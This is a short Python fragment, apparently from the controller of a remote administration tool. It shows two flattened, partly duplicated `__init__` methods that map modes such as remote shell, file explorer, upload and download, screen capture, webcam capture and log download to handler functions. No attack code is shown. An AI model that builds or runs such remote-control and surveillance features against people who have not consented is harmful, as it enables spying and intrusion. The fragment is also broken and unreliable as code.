def __init__(self, moderat): self.moderat = moderat self.clients = Clients.Clients(self.moderat) # Create Main UI Functions self.ui = main.updateUi(self.moderat) self.ui.disable_administrator()
def __init__(self, moderat): self.moderat = moderat self.clients = Clients.Clients(self.moderat) # Create Main UI Functions self.ui = main.updateUi(self.moderat) # Create Tables UI self.tables = tables.updateClientsTable(self.moderat) # Init Modes self.modes = { 'connectSuccess': self.onViewerConnected, 'moderatorInitializing': self.moderatorInitializing, 'getClients': self.getClients, 'getModerators': self.getModerators, 'shellMode': self.shellMode, 'explorerMode': self.explorerMode, 'scriptingMode': self.scriptingMode, 'downloadMode': self.downloadMode, 'uploadMode': self.uploadMode, 'getScreen': self.getScreen, 'getWebcam': self.getWebcam, 'countData': self.countData, 'downloadLogs': self.downloadLogs, 'downloadLog': self.downloadLog, }